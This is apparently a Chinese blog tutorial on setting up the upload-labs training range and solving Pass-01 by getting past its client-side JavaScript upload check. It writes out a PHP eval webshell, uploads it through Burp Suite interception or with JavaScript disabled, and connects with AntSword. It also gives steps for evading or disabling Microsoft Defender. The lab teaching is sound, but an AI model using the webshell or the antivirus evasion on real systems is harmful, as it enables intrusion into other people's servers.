Upload-labs:部署靶场及Pass-01实战解析
本文包含如何配置upload-labs以及Pass-01的解题步骤与详细原理,建议收藏观看!
后续将会更新剩下2-21题的解题步骤和原理
安装配置upload-labs
upload-labs 是一个基于 PHP 的文件上传漏洞演练靶场,已下载文件后需将其部署到 PHP 服务环境中才能访问。核心步骤是:将文件放入 PHP 环境的网站根目录 → 启动服务 → 通过浏览器访问http://localhost/upload-labs/。以下是具体操作指南:
一、环境部署-- 选择并配置环境
(1)推荐使用 PHPStudy(Windows 用户最简单)
- 下载安装 PHPStudy
从官网(https://www.xp.cn/)下载最新版,安装时路径避免中文或空格(如D:\phpstudy_pro)。 - 启动服务
打开 PHPStudy,点击Apache和MySQL的“启动”按钮(状态灯变绿即成功)。
环境配置问题:
集成开发环境phpStudy安装与配置指南(包含DVWA)_小皮面板安装dvwa修改配置-CSDN博客
(2)将文件放入网站根目录
- 找到 PHPStudy 的网站根目录(默认路径:
D:\phpstudy_pro\WWW)。 - 将下载的
upload-labs文件夹整体复制到该目录下(无需解压到子目录,直接保留原文件夹名)。 - 手动创建
upload目录(关键步骤):
在upload-labs文件夹内新建一个名为upload的空文件夹(用于存储上传的文件)。
(3)访问靶场
- 浏览器输入
http://localhost/upload-labs/(若修改过端口需补充端口号,如:8080)。 - 我是bp用的8080,dvwa用的8088
- 若显示 404 错误:
- 检查文件夹名称是否为
upload-labs(不能是upload-labs-master等其他名称)。 - 确认已创建
upload目录(部分关卡依赖此路径)。
- 检查文件夹名称是否为
如下图就是成功了
二、常见问题解决
1. 页面报错 404
- 原因:文件夹名称不匹配或未创建
upload目录。 - 解决:
- 将文件夹重命名为
upload-labs(严格匹配)。 - 确保
upload-labs目录下存在upload子文件夹(无内容即可)。
- 将文件夹重命名为
2. 页面报错 500
- 原因:PHP 版本不兼容(推荐PHP 5.2.17 或 5.4.45)。
- 解决:
- 在 PHPStudy 中切换 PHP 版本至5.x 系列(高版本 PHP 可能导致部分关卡失效)。
- 重启 Apache 服务。
3. 无法上传文件
- 关键检查项:
upload目录需有写入权限(Windows 一般默认满足)。- 若使用 Docker 部署,需确保容器内路径映射正确。
三、替代部署方式(可选)
1. Docker 快速启动(需已安装 Docker)
docker pull c0ny1/upload-labs docker run -d -p 80:80 c0ny1/upload-labs访问http://localhost即可(无需额外配置路径)。
2. 手动配置 Apache/PHP 环境(Linux 用户)
- 将文件放入
/var/www/html/upload-labs。 - 确保 Apache 配置中
AllowOverride All已启用(支持.htaccess)。
重点提醒
- 必须使用 PHP 环境:upload-labs 是 PHP 项目,直接双击 HTML 文件无法运行。
- 推荐 PHP 5.x 版本:高版本 PHP 可能导致部分关卡(如 Pass-03)无法触发漏洞。
- 靶场共 21 关:每关模拟不同上传漏洞(如前端校验绕过、MIME 类型欺骗等),通关需结合 Burp Suite 等工具分析请求。
完成上述步骤后,浏览器访问指定 URL 即可进入靶场界面。若仍遇到问题,请检查 PHP 服务状态及文件路径是否符合要求。
解题前言
环境已就绪,实战即刻开始。继刚刚的环境搭建教程后,本文将正式进入upload-labs的核心环节——全关卡解题思路复盘。
这里没有枯燥的理论堆砌,只有最直接的漏洞分析与最实用的绕过技巧。
我们将针对每一关的限制条件进行源码级分析,还原攻击载荷的构造过程。
如果你已经准备好探索文件上传的无限可能,那么请跟随本文的步骤,让我们一关一关地攻破它。
pass-01
这是upload-labs的第一关,也是最经典、最基础的一关。它考察的是对前端 JavaScript 验证的理解和绕过。
从截图中可以看到,底部的代码是一段 JavaScript 代码(function checkFile())。
漏洞分析
- 代码逻辑:
- 代码定义了一个允许上传的扩展名列表:
var allow_ext = ".jpg|.png|.gif"; - 当点击上传时,JS 会获取文件名的后缀。
- 如果后缀不在允许列表中(例如
.php),JS 就会弹窗报错alert并阻止提交(return false)。
- 代码定义了一个允许上传的扩展名列表:
- 核心弱点:
- 验证只发生在浏览器端(前端)。服务器端并没有进行严格的检查(或者这一关故意没写服务端验证)。
- 只要我们能绕过浏览器的这个 JS 检查,把数据包发送出去,服务器就会接收。
推荐使用Burp Suite 抓包修改法,因为这更符合真实渗透场景。先上传一个
1.jpg的 Webshell,利用 Burp 拦截数据包,将文件名改回1.php后放行,即可绕过前端检查并成功写入 PHP 文件。
通关步骤(三种方法)
你可以任选一种方法,推荐方法一最简单。
方法一:修改文件扩展名(最简单)
既然 JS 只检查后缀名是不是 jpg/png/gif,那我们就先骗过它。
- 准备 Webshell:
- 新建一个文本文件,写入 PHP 代码:
<?php @eval($_POST['cmd']);?>原本记事本写的,改了后缀:
- 将其保存为
shell.php。- 欺骗前端:
- 将
shell.php重命名为shell.jpg(或者是 png、gif 都可以)。- 上传文件:
- 点击“浏览”,选择修改后的
shell.jpg。- 点击“上传”。
- 结果:如果没有js检查的话,此时会通过,文件上传成功,页面会提示“文件上传成功,保存路径为:...”,
- 但有js检查的,需要禁用js或者抓包改数据才行
- 截断/修改后缀(关键):
- 此时文件在服务器上确实是
.jpg结尾的,无法作为 PHP 执行。- 注意:第一关其实有一个隐藏的技巧,或者你需要结合“方法二”来抓包修改。但在第一关的默认配置下,通常只需要禁用JS或者抓包修改才能真正拿到 shell。
- 修正:仅仅改成jpg上传是不够的,因为服务器虽然接收了jpg,但它不会解析jpg为php。所以方法一必须配合方法二或者方法三才能完成“上传”的任务。
之后的方法一(配合禁用JS):
方法二:禁用 JavaScript(最直观)
既然验证是靠 JS 完成的,那我们不让 JS 运行就行了。
- 浏览器设置:
- 如果你用的是 Chrome,可以安装一个插件叫 "Quick JavaScript Switcher",点击图标选择 "Disable"。
- 或者在浏览器设置里直接禁止当前网站运行 JavaScript。
- 上传文件:
- 刷新页面(此时 JS 已失效)。
- 直接选择你的
shell.php文件。- 点击“上传”。
- 结果:
- 因为没有 JS 阻拦,浏览器直接把
.php文件发给了服务器。- 页面提示上传成功,并给出路径。
- 访问该路径,即可连接 Webshell。
方法三:Burp Suite 抓包修改(最专业,推荐掌握)
这是渗透测试中最常用的手法,不需要关闭浏览器功能。
- 准备工作:
- 打开 Burp Suite,确保 Proxy -> Intercept 是开启状态(Intercept is on)。
- 浏览器代理设置好(如果之前搭环境配过就不用动了)。
- 构造请求:
- 将
shell.php重命名为shell.jpg(为了骗过前端JS)。- 在页面选择
shell.jpg,点击“上传”。- 拦截与修改:
- 此时 Burp Suite 会拦截到数据包。
- 在 Burp 中,你会看到类似
filename="shell.jpg"的字段。- 将其修改回
filename="shell.php"。- 放行:
- 点击 "Forward" 发送数据包。
- 结果:
- 浏览器收到响应,提示上传成功。
- 虽然你本地选的是 jpg,但服务器收到并保存的是 php。
总结
第一关的核心知识点:
- 前端验证(JavaScript)是非常脆弱的,可以被轻易绕过。
- 防御建议:永远不要只依赖前端验证,必须在服务器端对文件类型、后缀、内容进行全面检查。
可能会出现的问题
问题1:bp还没抓到包呢,就无法上传了
这个弹窗是Windows 系统自带的“Microsoft Defender 智能筛选”拦截了你创建或选择这个文件,它认为你的
whell.jpg(里面其实写的是PHP代码)是个病毒。这导致你在本地根本无法正常选中这个文件,或者文件刚建好就被删除/隔离了。
解决方法(三选一)
方法 A:添加排除项(推荐,最稳妥)
你需要告诉 Windows 的杀毒软件:“在这个文件夹里别乱动我的文件”。
- 打开Windows 安全中心(通常在右下角盾牌图标,或者开始菜单搜“病毒和威胁防护”)。
- 点击“管理设置”。
- 向下拉,找到“排除项”->“添加或删除排除项”。
- 点击“添加排除项”-> 选择“文件夹”。
- 把你存放
whell.jpg的那个文件夹选进去。- 重新创建你的
whell.jpg文件,这次就不会报错了。方法 B:先写无害内容,上传时再改
- 先写一个普通的文本文件,里面写 "hello",保存为
test.jpg。这时候杀毒软件不会报警。- 在
upload-labs页面点击上传,选中这个正常的test.jpg。- 但在点击“上传”按钮之前,迅速用记事本打开
test.jpg,把内容改成<?php phpinfo(); ?>并保存。- 立刻点击网页上的“上传”。
- 原理:利用时间差,让杀毒软件来不及反应。
方法 C:直接禁用 Defender(不推荐,除非你很有把握)
直接在安全中心把“实时保护”的开关关掉。做完实验记得开回来。
搞定这个报错后,你会发现即使上传成功,还是会被网页弹窗拦截(因为第一关是JS验证)。那时候我们再用抓包工具(Burp Suite)或者禁用浏览器JS的方法来搞定它。
问题2:火狐渗透版怎么禁用js
方法一:使用开发者工具(最快,无需插件)
这是最推荐的方法,适合临时禁用。
- 按下
F12打开开发者工具。- 点击右上角的齿轮图标(设置)。
- 在“高级设置”或“调试器”栏目下,勾选“禁用 JavaScript”。
- 保持开发者工具开启,此时刷新页面,JS 即失效,你可以直接上传
whell.jpg(内容为 PHP 代码)了。方法二:使用 NoScript 插件(专业渗透推荐)
火狐渗透版通常预装了NoScript插件,这是安全研究人员的神器。
- 查看浏览器右上角工具栏,找到一个“S”形状的图标。
- 点击它,选择“禁止所有页面”或直接点击“临时允许”切换状态。
- 这能彻底切断脚本运行,比修改配置更灵活。
方法三:修改 about:config(全局永久禁用)
如果你想彻底关闭,可以修改底层配置:
- 在地址栏输入
about:config并回车,接受风险提示。- 在搜索栏输入
javascript.enabled。- 双击该选项,将其值从
true改为false。- 重启浏览器生效。
针对 Pass-01 的替代方案(无需禁用 JS)
其实你不需要禁用 JS 也能过这一关。Pass-01 只是前端检查,你可以:
- 选中文件后,不要点上传。
- 打开Burp Suite开启抓包。
- 点击上传,Burp 会截获数据包。
- 在 Burp 中把文件名
whell.jpg修改为whell.php,然后放行(Forward)。这样就能绕过前端 JS 检查,直接测试后端的验证逻辑。
这里我们要用到一个工具---蚁剑
使用蚁剑
唯一官方github下载地址:https://github.com/AntSwordProject/
注意:我们下载的时候需要下载两个部分,一个是项目核心源码”antSword“,另一个是加载器;加载器则分为三个版本:Mac、Windows、Linux。
解压好之后,双击运行文件,然后选择一下工作目录,创一个新文件夹就好了,很简单
主界面:
使用方法
在上传成功之后,右键图片查看图片
复制图片的url,即http://upload-labs:8090/upload/whell.jpg
右键点击---添加数据
注:密码是一句话木马中POST传的参数
如果你是按我这来的话,那么密码就是cmd
<?php @eval($_POST['cmd']);?>
显示连接成功就行了
2026年5月15日之前将会更新剩下2-21题的解题步骤和原理
